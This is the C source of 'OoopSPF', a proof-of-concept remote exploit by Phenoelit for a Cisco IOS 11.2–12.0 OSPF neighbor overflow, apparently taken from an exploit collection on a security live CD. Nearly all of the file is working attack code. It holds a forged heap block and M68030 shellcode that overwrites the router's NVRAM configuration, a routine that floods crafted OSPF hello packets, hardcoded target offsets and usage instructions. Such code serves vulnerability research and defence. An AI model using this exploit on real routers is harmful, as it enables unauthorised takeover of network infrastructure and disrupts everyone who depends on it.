home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / OoopSPF.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  25KB  |  811 lines

  1.  
  2. /* Cisco IOS IO memory exploit prove of concept 
  3.  * by FX of Phenoelit <fx@phenoelit.de>
  4.  * http://www.phenoelit.de
  5.  *
  6.  * For: 
  7.  *     19C3 Chaos Communication Congress 2002 / Berlin
  8.  *     BlackHat Briefings Seattle 2003
  9.  * 
  10.  * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
  11.  * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
  12.  * structure (small buffer header). The attached program is a PoC to exploit 
  13.  * this vulnerability by executing "shell code" on the router and write the 
  14.  * attached configuration into NVRAM to basicaly own the router. 
  15.  *
  16.  * Example:
  17.  * linux# gcc -o OoopSPF OoopSPF.c 
  18.  * linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \
  19.  *     -f ./small.config -t 0 -a 1.2.3.4 -vv
  20.  *
  21.  * You can see if it worked if a) the router does not crash and b) the output of 
  22.  * "show mem io" looks like this:
  23.  * E40E38      264 E40D04   E40F6C     1                  31632D8   *Packet Data*
  24.  * E40F6C      264 E40E38   E410A0     1                  31632D8   *Packet Data*
  25.  * E410A0      264 E40F6C   E411D4     1                  31632D8   *Packet Data*
  26.  * E411D4  1830400 E410A0   0          0  0       E411F8  808A8B8C  [PHENOELIT]
  27.  *
  28.  * Exploit has to be "triggered". In LAB environment, go to the router and say
  29.  * box# conf t
  30.  * box(config)# buffers small perm 0
  31.  *
  32.  * Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk,
  33.  *   Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people,
  34.  *   Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky.
  35.  *
  36.  * $Id: OoopSPF.c,v 1.1.1.1 2005/02/12 19:46:19 loni Exp $
  37.  */
  38.  
  39. #include <stdio.h>
  40. #include <stdlib.h>
  41. #include <unistd.h>
  42. #include <string.h>
  43. #include <netinet/in.h>
  44. #include <netdb.h>
  45. #include <sys/socket.h>
  46. #include <arpa/inet.h>
  47. #include <errno.h>
  48. #include <time.h>
  49.  
  50. #include <sys/ioctl.h>
  51. #include <sys/stat.h>
  52. #include <sys/types.h>
  53. #include <fcntl.h>
  54.  
  55. #define IPTTL            0x80
  56. #define BLABLA            "Phenoelit OoopSPF\n" \
  57.                 " Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \
  58.                 " (C) 2002/2003 - FX of Phenoelit <fx@phenoelit.de>\n" 
  59. #define IPPROTO_OSPF    0x59
  60. #define IP_ADDR_LEN     4
  61. typedef struct {
  62.         u_int8_t        ihl:4,          /* header length */
  63.                         version:4;      /* version */
  64.         u_int8_t        tos;            /* type of service */
  65.         u_int16_t       tot_len;        /* total length */
  66.         u_int16_t       id;             /* identification */
  67.         u_int16_t       off;            /* fragment offset field */
  68.         u_int8_t        ttl;            /* time to live */
  69.         u_int8_t        protocol;       /* protocol */
  70.         u_int16_t       check;          /* checksum */
  71.         struct in_addr  saddr;
  72.         struct in_addr  daddr;          /* source and dest address */
  73. } iphdr_t;
  74.  
  75. typedef struct {
  76.     u_int8_t    version                 __attribute__ ((packed));
  77.     u_int8_t    type                    __attribute__ ((packed));
  78.     u_int16_t   length                  __attribute__ ((packed));
  79.     u_int8_t    source[4]               __attribute__ ((packed));
  80.     u_int8_t    area[4]                 __attribute__ ((packed));
  81.     u_int16_t   checksum                __attribute__ ((packed));
  82.     u_int16_t   authtype                __attribute__ ((packed));
  83.     u_int8_t    authdata[8]             __attribute__ ((packed));
  84. } ospf_header_t;
  85.  
  86. typedef struct {
  87.     u_int8_t    netmask[4]              __attribute__ ((packed));
  88.     u_int16_t   hello_interval          __attribute__ ((packed));
  89.     u_int8_t    options                 __attribute__ ((packed));
  90.     u_int8_t    priority                __attribute__ ((packed));
  91.     u_int8_t    dead_interval[4]        __attribute__ ((packed));
  92.     u_int8_t    designated[4]           __attribute__ ((packed));
  93.     u_int8_t    backup[4]               __attribute__ ((packed));
  94. } ospf_hello_t;
  95.  
  96.  
  97. //
  98. // Target definitions 
  99. //
  100.  
  101. typedef struct {
  102.     char    *description;
  103.     int        n_neig;
  104.     int        data_start;
  105.     u_int32_t    blockbegin;
  106.     u_int32_t    prev;
  107.     u_int32_t    nop_sleet;
  108.     u_int32_t    stack_address;
  109.     u_int32_t    iomem_end;
  110. } targets_t;
  111.  
  112. targets_t    targets[] = {
  113.     { // #0 Phenoelit labs 2503 
  114.     "2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)",
  115.     256,        // # of neighbor announcements 
  116.     0xe5,         // data start
  117.     0xE411D4,    // block begin
  118.     0xE410B4,    // PREV
  119.     6,        // nop_sleet after FAKE BLOCK
  120.     0x079B48,    // Check heaps stack PC
  121.     0x00FFFFFF    // IO mem end
  122.     },
  123.     { // #1 Phenoelit labs 2501 
  124.     "2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)",
  125.     256,        // # of neighbor announcements 
  126.     0xe5,         // data start
  127.     0x00E31EA4,    // block begin
  128.     0x00E31D84,    // PREV
  129.     6,        // nop_sleet after FAKE BLOCK
  130.     0x00079918,    // Check heaps stack PC (using IOStack.pl)
  131.     0x00FFFFFF    // IO mem end
  132.     }
  133. };
  134.  
  135. #define TARGETS (sizeof(targets)/sizeof(targets_t)-1)
  136.  
  137. //
  138. // NVRAM header structure
  139. //
  140.  
  141. typedef struct {
  142.     u_int16_t   magic                   __attribute__((packed));
  143.     u_int16_t   one                     __attribute__((packed));
  144.     u_int16_t   checksum                __attribute__((packed));
  145.     u_int16_t   IOSver                  __attribute__((packed));
  146.     u_int32_t   unknown                 __attribute__((packed));
  147.     u_int32_t   ptr                     __attribute__((packed));
  148.     u_int32_t   size                    __attribute__((packed));
  149. } nvheader_t;
  150.  
  151. //
  152. // FAKE BLOCK definitions
  153. //
  154.  
  155. typedef struct {
  156.     u_int32_t    redzone        __attribute__((packed));
  157.     u_int32_t    magic        __attribute__((packed));
  158.     u_int32_t    pid        __attribute__((packed));
  159.     u_int32_t    proc        __attribute__((packed));
  160.     u_int32_t    name        __attribute__((packed));
  161.     u_int32_t    pc        __attribute__((packed));
  162.     u_int32_t    next        __attribute__((packed));
  163.     u_int32_t    prev        __attribute__((packed));
  164.     u_int32_t    size        __attribute__((packed));
  165.     u_int32_t    refcnt        __attribute__((packed));
  166.     u_int32_t    pad1        __attribute__((packed));
  167.     u_int32_t    freemagic    __attribute__((packed));
  168.     u_int32_t    lastdealloc    __attribute__((packed));
  169.     u_int32_t    pad2        __attribute__((packed));
  170.     u_int32_t    pad3        __attribute__((packed));
  171.     u_int32_t    free_next    __attribute__((packed));
  172.     u_int32_t    free_prev    __attribute__((packed));
  173. } block_t;
  174.  
  175. char        fakeblock[] =
  176.         "\xFD\x01\x10\xDF"      // RED
  177.         "\xAB\x12\x34\xCD"      // MAGIC
  178.         "\xFF\xFF\xFF\xFF"      // PID
  179.         "\x80\x81\x82\x83"      // PROC
  180.         "\x00\xE4\x12\x00"      // NAME    (Message)
  181.         "\x80\x8a\x8b\x8c"      // PC
  182.     "\x00\x00\x00\x00"      // NEXT (no following block)
  183.         "\x00\xE4\x10\xB4"      // PREV (correct for 0xE411d4)
  184.     "\x00\x0D\xF7\x02"      // Size CORRECT for 0xE411D4
  185.         "\x00\x00\x00\x00"      // Reference count
  186.         "\x00\x00\x00\x00"      // PADDING
  187.         "\xDE\xAD\xBE\xEF"      // FREE MAGIC
  188.     "[PHE"            // last delocator
  189.     "NOEL"            // PADDING
  190.     "IT]\x00"        // PADDING
  191.     "\x00\xE4\x12\x20"    // FREE NEXT in our block
  192.     "\x00\x07\x9B\x48"    // FREE PREV (Check heaps stack PC)
  193.     ;
  194. block_t        *bpatch = (block_t*)fakeblock;
  195.  
  196. //
  197. // Cisco code for M68030 CPU and 2500 NVRAM layout
  198. //
  199. char        ccode[] =
  200.         "\x46\xFC\x27\x00"              //movew #9984,%sr (0x00E41220)
  201.         "\x43\xFA\x00\x48"              //lea %pc@(4e <config>),%a1 (0x00E41224)
  202.         "\x24\x7C\x02\x00\x00\x06"      //moveal #33554438,%a2 (0x00E41228)
  203.         "\xB3\x81"                      //eorl %d1,%d1 (0x00E4122E)
  204.         "\x74\x01"                      //moveq #1,%d2 (0x00E41230)
  205.         "\x22\x3C\x01\x01\x01\x01"      //movel #16843009,%d1 (0x00E41232)
  206.         "\x14\xD9"                      //moveb %a1@+,%a2@+ (0x00E41238)
  207.         "\x32\x3C\xFF\xFF"              //movew #-1,%d1 (0x00E4123A)
  208.         "\x93\x42"                      //subxw %d2,%d1 (0x00E4123E)
  209.         "\x6B\x00\xFF\xFC"              //bmiw 1e <write_delay> (0x00E41240)
  210.         "\x0C\x91\xCA\xFE\xF0\x0D"      //cmpil #-889262067,%a1@ (0x00E41244)
  211.         "\x66\x00\xFF\xEC"              //bnew 18 <copy_config> (0x00E4124A)
  212.         "\x14\xFC\x00\x00"              //moveb #0,%a2@+ (0x00E4124E)
  213.         "\x32\x3C\xFF\xFF"              //movew #-1,%d1 (0x00E41252)
  214.         "\x93\x42"                      //subxw %d2,%d1 (0x00E41256)
  215.         "\x6B\x00\xFF\xFC"              //bmiw 36 <write_delay2> (0x00E41258)
  216.         "\xB5\xFC\x02\x00\x07\x00"      //cmpal #33556224,%a2 (0x00E4125C)
  217.         "\x6D\x00\xFF\xEA"              //bltw 2e <delete_config> (0x00E41262)
  218.         "\x22\x7C\x03\x00\x00\x60"      //moveal #50331744,%a1 (0x00E41266)
  219.         "\x4E\xD1"                      //jmp %a1@ (0x00E4126C)
  220.  
  221.     ;
  222.  
  223. char        terminator[]    = "\xCA\xFE\xF0\x0D";
  224. char        nop[]         = "\x4E\x71";
  225.  
  226. //
  227. // Global variables to pass the current buffer location to the 
  228. // OSPF packet generator function
  229. //
  230. int         payloadc=0;
  231. char        *payload=NULL;
  232. // packet counter (global)
  233. unsigned int     pc=0;
  234.  
  235.  
  236. //
  237. // Configuration
  238. //
  239. struct {
  240.     int            verbose;
  241.     char        *device;
  242.     struct in_addr    *target;
  243.     u_int32_t        src_net;
  244.     u_int32_t        src_mask;
  245.     u_int32_t        area;
  246.     int            directed;
  247.     int            test_only;
  248.  
  249.     // fake block constants
  250.     int            n_neig;
  251.     int            data_start;
  252.     u_int32_t        blockbegin;
  253.     u_int32_t        prev;
  254.     u_int32_t        nop_sleet;
  255.     u_int32_t        stack_address;
  256.     u_int32_t        iomem_end;
  257.  
  258.     // other stuff 
  259.     char        *filename;
  260.     int            target_sel;
  261. } cfg;
  262.  
  263.  
  264. u_char    *construct_ospf(struct in_addr *dd, struct in_addr *src,
  265.     u_int16_t autosys, int *psize);
  266. int    init_socket_IP4(int broadcast);
  267. int     sendpack_IP4(int sfd, u_char *packet,int plength);
  268. u_int16_t chksum(u_char *data, unsigned long count);
  269. void    *smalloc(size_t size);
  270. void    hexdump(unsigned char *bp, unsigned int length);
  271. void    usage(char *s);
  272.  
  273. int main(int argc, char **argv) {
  274.     char    option;
  275.     extern char    *optarg;
  276.     int        sfd;
  277.  
  278.     unsigned int    i=0;
  279.     u_int32_t        countip=20;
  280.  
  281.     /* confg file */
  282.     int                 fd;
  283.     struct stat         sb;
  284.  
  285.     u_char              *buffer;
  286.     u_char              *p;
  287.     nvheader_t          *nvh;
  288.     unsigned int        len;
  289.     u_int16_t           cs1;
  290.     
  291.     // final overflow
  292.     char        *overflow;
  293.     int            osize=0;
  294.  
  295.     
  296.     printf(BLABLA);
  297.  
  298.     memset(&cfg,0,sizeof(cfg));
  299.     while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:"))!=EOF) {
  300.     switch (option) {
  301.         case 'v':    cfg.verbose++;
  302.             break;
  303.         case 'D':    cfg.directed++;
  304.             break;
  305.         case 'T':    cfg.test_only++;
  306.             break;
  307.         case 'd':    cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr));
  308.             if (inet_aton(optarg,cfg.target)==0) {
  309.                 fprintf(stderr,"Your destination is bullshit\n");
  310.                 return (1);
  311.             }
  312.             break;
  313.         case 's':    if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) {
  314.                 fprintf(stderr,"Your source net is wrong\n");
  315.                 return (1);
  316.             }
  317.             break;
  318.         case 'n':    if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) {
  319.                 fprintf(stderr,"Your source mask is wrong\n");
  320.                 return (1);
  321.             }
  322.             break;
  323.         case 'L':    cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10);
  324.             break;
  325.         case 'F':    cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16);
  326.             break;
  327.         case 'f':    cfg.filename=(char *)smalloc(strlen(optarg)+1);
  328.             strcpy(cfg.filename,optarg);
  329.             break;
  330.         case 't':    cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10);
  331.             if (cfg.target_sel>TARGETS) {
  332.                 fprintf(stderr,"Target number unknown\n");
  333.                 return (1);
  334.             }
  335.             break;
  336.         case 'S':    cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10);
  337.             break;
  338.         case 'a':    if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) {
  339.                 fprintf(stderr,"Your area doesn't make sense.\n");
  340.                 return (1);
  341.             }
  342.             break;
  343.         default:    usage(argv[0]);
  344.     }
  345.     }
  346.  
  347.     if (cfg.target_sel>TARGETS) {
  348.     fprintf(stderr,"Error: user too stupid (check -t)\n");
  349.     return (-1);
  350.     }
  351.     if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig;
  352.     if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start;
  353.     if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin;
  354.     if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev;
  355.     if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet;
  356.     if (cfg.stack_address==0) cfg.stack_address=targets[cfg.target_sel].stack_address;
  357.     if (cfg.iomem_end==0) cfg.iomem_end=targets[cfg.target_sel].iomem_end;
  358.  
  359.     //
  360.     // Check the parameters and set up a socket
  361.     //
  362.     cfg.src_net=cfg.src_net&cfg.src_mask;
  363.  
  364.     if ( (cfg.src_net==0)||(cfg.src_mask==0)
  365.         ||(cfg.filename==NULL)||(cfg.target==NULL)) {
  366.     usage(argv[0]);
  367.     }
  368.  
  369.     if ((sfd=init_socket_IP4(1))<1) {
  370.     fprintf(stderr,"Could not get a socket for you\n");
  371.     return (-1);
  372.     }
  373.  
  374.     //
  375.     // Get some info back to the user if he requested verbose
  376.     //
  377.     if (cfg.verbose) {
  378.     if (cfg.directed) 
  379.         printf("\twith unicast target %s\n",inet_ntoa(*cfg.target));
  380.     else 
  381.         printf("\twith default destination addresses\n");
  382.     printf("\twith source network %s/",
  383.         inet_ntoa(*(struct in_addr*)&(cfg.src_net)));
  384.     printf("%s\n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask)));
  385.         printf("Using Target: %s\n",targets[cfg.target_sel].description);
  386.     printf( "\t# of neighbors: %u\n"
  387.         "\tdata start    : %u\n"
  388.         "\tBlock address : 0x%08X\n"
  389.         "\tPREV pointer  : 0x%08X\n"
  390.         "\tNOP sleet     : %u\n"
  391.         "\tStack address : 0x%08X\n"
  392.         "\tIO Memory end : 0x%08X\n",
  393.         cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev,
  394.         cfg.nop_sleet,cfg.stack_address,cfg.iomem_end);
  395.     }
  396.  
  397.     //
  398.     // Patch the fake block with the new values
  399.     //
  400.     bpatch->prev=htonl(cfg.prev);
  401.     bpatch->size=htonl(
  402.         (cfg.iomem_end
  403.         -39 // minus block header in bytes - 1
  404.         -cfg.blockbegin) / 2);
  405.     bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock)-5/* RED ZONE */
  406.         +((sizeof(nop)-1)*cfg.nop_sleet));
  407.     bpatch->free_prev=htonl(cfg.stack_address);
  408.     bpatch->name=htonl(cfg.blockbegin+44);
  409.  
  410.     /* 
  411.      * Load Config
  412.      * - load into buffer
  413.      * - prepare NVRAM header
  414.      * - calculate checksum
  415.      * -> *buffer contains payload
  416.      */
  417.     if (cfg.filename==NULL) return (-1);
  418.     if (stat(cfg.filename,&sb)!=0) {
  419.         fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
  420.         return (-1);
  421.     }
  422.  
  423.     if ((fd=open(cfg.filename,O_RDONLY))<0) {
  424.         fprintf(stderr,"Could not open() file %s\n",cfg.filename);
  425.         return (-1);
  426.     }
  427.  
  428.     len=sb.st_size;
  429.     if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
  430.         fprintf(stderr,"Malloc() failed\n");
  431.         return (-1);
  432.     }
  433.     memset(buffer,0,len+sizeof(nvheader_t)+10);
  434.  
  435.     p=buffer+sizeof(nvheader_t);
  436.     if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
  437.     close(fd);
  438.  
  439.     // pad config so it is word bound for the 0xcafef00d test
  440.     if ((len%2)!=0) {
  441.     strcat(p,"\x0A");
  442.     len++;
  443.     if (cfg.verbose) printf("Padding config by one\n");
  444.     }
  445.  
  446.     nvh=(nvheader_t *)buffer;
  447.     nvh->magic=htons(0xABCD);        
  448.     nvh->one=htons(0x0001);        // is always one 
  449.     nvh->IOSver=htons(0x0B03);        // IOS version
  450.     nvh->unknown=htonl(0x00000014);    // something, 0x14 just works
  451.     nvh->ptr=htonl(0x000D199F);        // config end ptr 
  452.     nvh->size=htonl(len);
  453.  
  454.     cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
  455.     if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
  456.     nvh->checksum=cs1;
  457.  
  458.     //
  459.     // Put the overflow together
  460.     //
  461.     // (1) calculate size of the whole thing
  462.     osize=sizeof(fakeblock)-1+
  463.       (cfg.nop_sleet * (sizeof(nop)-1))+
  464.       sizeof(ccode)-1+
  465.       sizeof(nvheader_t)+
  466.       len+
  467.       sizeof(terminator)-1;
  468.     if ((osize/4)>cfg.data_start) {
  469.     fprintf(stderr,"ERROR: The whole thing is too large!\n");
  470.     return (-1);
  471.     } else {
  472.     printf("Using %u out of %u bytes (overflow: %u bytes)\n",
  473.         osize,cfg.data_start*4,cfg.n_neig*4);
  474.     }
  475.     //
  476.     // adjust osize ot be 4byte bound
  477.     //
  478.     if ((osize%4!=0)) osize+=osize%4;
  479.     overflow=smalloc(osize);
  480.  
  481.     //
  482.     // (2) copy the fakeblock in the buffer
  483.     //
  484.     memcpy(overflow,fakeblock,sizeof(fakeblock)-1);
  485.     p=(void *)overflow+sizeof(fakeblock)-1;
  486.  
  487.     //
  488.     // (3) Add NOPs to the buffer
  489.     //
  490.     for (i=0;i<cfg.nop_sleet;i++) {
  491.     memcpy(p,nop,sizeof(nop)-1);
  492.     p+=sizeof(nop)-1;
  493.     }
  494.  
  495.     //
  496.     // (4) Add the ccode
  497.     //
  498.     memcpy(p,ccode,sizeof(ccode)-1);
  499.     p+=sizeof(ccode)-1;
  500.  
  501.     //
  502.     // (5) Add the NVRAM structure and config
  503.     //
  504.     memcpy(p,buffer,len+sizeof(nvheader_t));
  505.     p+=len+sizeof(nvheader_t);
  506.  
  507.     //
  508.     // (6) finish off with terminator
  509.     //
  510.     memcpy(p,terminator,sizeof(terminator)-1);
  511.  
  512.     if (cfg.verbose>1) hexdump(overflow,osize);
  513.     if (cfg.test_only) return (0);
  514.  
  515.     payload=overflow+(osize-4);
  516.     payloadc=osize;
  517.  
  518.     // *************************
  519.     // PERFORM THE OVERFLOW
  520.     // *************************
  521.     for (i=0;i<cfg.n_neig;i++) {
  522.     u_char        *pack;
  523.     int        plen;
  524.     u_int32_t    uip;
  525.  
  526. OwnHostException:
  527.     countip++;
  528.     uip=htonl(countip);
  529.     uip=uip&(~cfg.src_mask);
  530.     uip=uip|cfg.src_net;
  531.  
  532.     if (!memcmp(&uip,cfg.target,IP_ADDR_LEN)) {
  533.         if (cfg.verbose>2) 
  534.         printf("-- Skipping %s\n",inet_ntoa(*(cfg.target)));
  535.         else {
  536.         printf("*"); fflush(stdout);
  537.         }
  538.         goto OwnHostException;
  539.     }
  540.  
  541.     if (cfg.verbose>2)
  542.         printf("\tsending from %15s... ",inet_ntoa(*(struct in_addr*)&(uip)));
  543.     else {
  544.         printf("."); fflush(stdout);
  545.     }
  546.  
  547.     // Make and send OSPF
  548.     pack=construct_ospf(cfg.target,
  549.         (struct in_addr *)&uip,0,&plen);
  550.     sendpack_IP4(sfd,pack,plen);
  551.     free(pack);
  552.  
  553.     if (cfg.verbose>2) printf("\n");
  554.     usleep(1);
  555.     }
  556.  
  557.     close(sfd);
  558.     printf("\n");
  559.  
  560.     return 0;
  561. }
  562.  
  563. u_char    *construct_ospf(struct in_addr *dd, struct in_addr *src,
  564.     u_int16_t autosys, int *psize) {
  565.     u_char            *tpacket;
  566.     iphdr_t            *iph;
  567.     u_int16_t            cs;        /* checksum */
  568.     char            all_ospf[]="224.0.0.5";
  569.     ospf_header_t           *ospfh;
  570.     ospf_hello_t            *ohelo;
  571.  
  572.     *psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeof(ospf_hello_t);
  573.     tpacket=(u_char *)smalloc(*psize
  574.         +3 /* for my checksum function, which sometimes 
  575.           steps over the mark */
  576.         );
  577.  
  578.     // IP packet
  579.     iph=(iphdr_t *)tpacket;
  580.  
  581.     iph->version=4;
  582.     iph->ihl=sizeof(iphdr_t)/4;
  583.  
  584.     iph->tot_len=htons(*psize);
  585.     iph->ttl=IPTTL;
  586.     iph->protocol=IPPROTO_OSPF;
  587.  
  588.     memcpy(&(iph->saddr.s_addr),&(src->s_addr),IP_ADDR_LEN);
  589.     if (!cfg.directed)
  590.     inet_aton(all_ospf,(struct in_addr *)&(iph->daddr));
  591.     else
  592.     memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN);
  593.  
  594.     // OSPF header
  595.     ospfh=(ospf_header_t *)((void *)tpacket+sizeof(iphdr_t));
  596.     ohelo=(ospf_hello_t *)((void *)tpacket+sizeof(iphdr_t)+sizeof(ospf_header_t));
  597.     ospfh->version=2;
  598.     ospfh->type=1;
  599.     ospfh->length=htons(sizeof(ospf_header_t)+sizeof(ospf_hello_t));
  600.     memcpy(&(ospfh->area),&(cfg.area),4);
  601.  
  602.     // Increment the packets sent
  603.     pc++;
  604.  
  605.     // 
  606.     // If we are in the range of the whole overflow thingy, copy the appropriate
  607.     // 4 bytes into the source address in the OSPF header
  608.     //
  609.     if ( (pc <= cfg.data_start) && 
  610.           (pc > cfg.data_start-(payloadc/4) ) ) {
  611.     memcpy(&(ospfh->source),payload,IP_ADDR_LEN);
  612.     payload-=4;
  613.     }
  614.     // 
  615.     // well, we are not in there, so we set it to some value
  616.     //
  617.     else {
  618.     ospfh->source[0]=0xCA;
  619.     ospfh->source[1]=0xFE;
  620.     ospfh->source[2]=0xBA;
  621.     ospfh->source[3]=0xBE;
  622.     }
  623.  
  624.     // be verbose
  625.     if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned int*)&(ospfh->source))));
  626.  
  627.     // compile the rest of the packet
  628.     memcpy(&(ohelo->netmask),&(cfg.src_mask),4);
  629.     ohelo->hello_interval=htons(10);
  630.     ohelo->options=0x2;
  631.     ohelo->priority=2;
  632.     ohelo->dead_interval[3]=40;
  633.     memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN);
  634.  
  635.     cs=chksum((u_char *)ospfh,sizeof(ospf_header_t)+sizeof(ospf_hello_t));
  636.     ospfh->checksum=cs;
  637.  
  638.     return tpacket;
  639. }
  640.  
  641. // Dirty stuff from IRPAS
  642. int init_socket_IP4(int broadcast) {
  643.     int                 sfd;
  644.     int            t=1;
  645.  
  646.     if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
  647.         perror("socket()");
  648.         return(-1);
  649.     }
  650.  
  651.     /* make a broadcast enabled socket if desired */
  652.     if (broadcast) {
  653.         if (setsockopt(
  654.                     sfd,SOL_SOCKET,SO_BROADCAST,
  655.                     (void *)&t,sizeof(int)) != 0) {
  656.             perror("setsockopt");
  657.             return (-1);
  658.         }
  659.     }
  660.     return sfd;
  661. }
  662.  
  663. int     sendpack_IP4(int sfd, u_char *packet,int plength) {
  664.     struct sockaddr_in  sin;
  665.     iphdr_t             *iph;
  666.  
  667.     iph=(iphdr_t *)packet;
  668.  
  669.     memset(&sin,0,sizeof(struct sockaddr_in));
  670.     sin.sin_family=AF_INET;
  671.     sin.sin_port=htons(0);
  672.     memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr));
  673.  
  674.     if (sendto(sfd,packet,plength,0,
  675.                 (struct sockaddr *) &sin,
  676.                 sizeof(struct sockaddr_in)) <=0) {
  677.         perror("sendto()");
  678.         return(-1);
  679.     }
  680.  
  681.     return 0;
  682. }
  683.  
  684.  
  685. u_int16_t chksum(u_char *data, unsigned long count) {
  686.     u_int32_t           sum = 0;
  687.     u_int16_t           *wrd;
  688.  
  689.     wrd=(u_int16_t *)data;
  690.     while( count > 1 )  {
  691.         sum = sum + *wrd;
  692.         wrd++;
  693.         count -= 2;
  694.     }
  695.  
  696.     if( count > 0 ) sum = sum + ((*wrd &0xFF)<<8);
  697.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  698.     return (~sum);
  699. }
  700.  
  701. void    *smalloc(size_t size) {
  702.     void        *p;
  703.  
  704.     if ((p=malloc(size))==NULL) {
  705.         fprintf(stderr,"smalloc(): malloc failed\n");
  706.         exit (-2);
  707.     }
  708.     memset(p,0,size);
  709.     return p;
  710. }
  711.  
  712.  
  713. // /dirty 
  714.  
  715.  
  716.  
  717. /* A better version of hdump, from Lamont Granquist.  Modified slightly
  718.  * by Fyodor (fyodor@DHP.com) 
  719.  * obviously stolen by FX from nmap (util.c)*/
  720. void hexdump(unsigned char *bp, unsigned int length) {
  721.  
  722.   /* stolen from tcpdump, then kludged extensively */
  723.  
  724.   static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
  725.  
  726.   register const u_short *sp;
  727.   register const u_char *ap;
  728.   register u_int i, j;
  729.   register int nshorts, nshorts2;
  730.   register int padding;
  731.  
  732.   printf("\n\t");
  733.   padding = 0;
  734.   sp = (u_short *)bp;
  735.   ap = (u_char *)bp;
  736.   nshorts = (u_int) length / sizeof(u_short);
  737.   nshorts2 = (u_int) length / sizeof(u_short);
  738.   i = 0;
  739.   j = 0;
  740.   while(1) {
  741.     while (--nshorts >= 0) {
  742.       printf(" %04x", ntohs(*sp));
  743.       sp++;
  744.       if ((++i % 8) == 0)
  745.         break;
  746.     }
  747.     if (nshorts < 0) {
  748.       if ((length & 1) && (((i-1) % 8) != 0)) {
  749.         printf(" %02x  ", *(u_char *)sp);
  750.         padding++;
  751.       }
  752.       nshorts = (8 - (nshorts2 - nshorts));
  753.       while(--nshorts >= 0) {
  754.         printf("     ");
  755.       }
  756.       if (!padding) printf("     ");
  757.     }
  758.     printf("  ");
  759.  
  760.     while (--nshorts2 >= 0) {
  761.       printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
  762.       ap += 2;
  763.       if ((++j % 8) == 0) {
  764.         printf("\n\t");
  765.         break;
  766.       }
  767.     }
  768.     if (nshorts2 < 0) {
  769.       if ((length & 1) && (((j-1) % 8) != 0)) {
  770.         printf("%c", asciify[*ap]);
  771.       }
  772.       break;
  773.     }
  774.   }
  775.   if ((length & 1) && (((i-1) % 8) == 0)) {
  776.     printf(" %02x", *(u_char *)sp);
  777.     printf("                                       %c", asciify[*ap]);
  778.   }
  779.   printf("\n");
  780. }
  781.  
  782. void usage(char *s) {
  783.     int        i;
  784.  
  785.     fprintf(stderr,"Usage: \n"
  786.         "%s -s <src net> -n <src mask> -d <target rtr ip> -f <file>"
  787.         " -t <targ#>\n"
  788.         "Options:\n"
  789.         "-s <src net>  Use this network as source (as in target config)\n"
  790.         "-n <src mask> Use this netmask as source (as in target config)\n"
  791.         "-d <target>   This is the target router interface IP\n"
  792.         "-f <file>     Use this as the new config for the router\n"
  793.         "-t #          Use this target value set (see below)\n"
  794.         "-a <area>     Use this OSPF area\n"
  795.         "-v            Be verbose (-vv or -vvv recommended)\n"
  796.         "-D            Directed attack (unicast) for 11.x targets\n"
  797.         "-T            Test only - don't send\n"
  798.         " --- barely used options ---\n"
  799.         "-L #          Number of neighbors to announce (overflow size)\n"
  800.         "-F #          Start of data (seen reverse to overflow)\n"
  801.         "-S #          NOP sleet\n"
  802.         "\n"
  803.         "Known targets:\n"
  804.         ,s);
  805.     
  806.     for (i=0;i<=TARGETS;i++) 
  807.     fprintf(stderr,"\t%s\n",targets[i].description);
  808.  
  809.     exit (1);
  810. }
  811.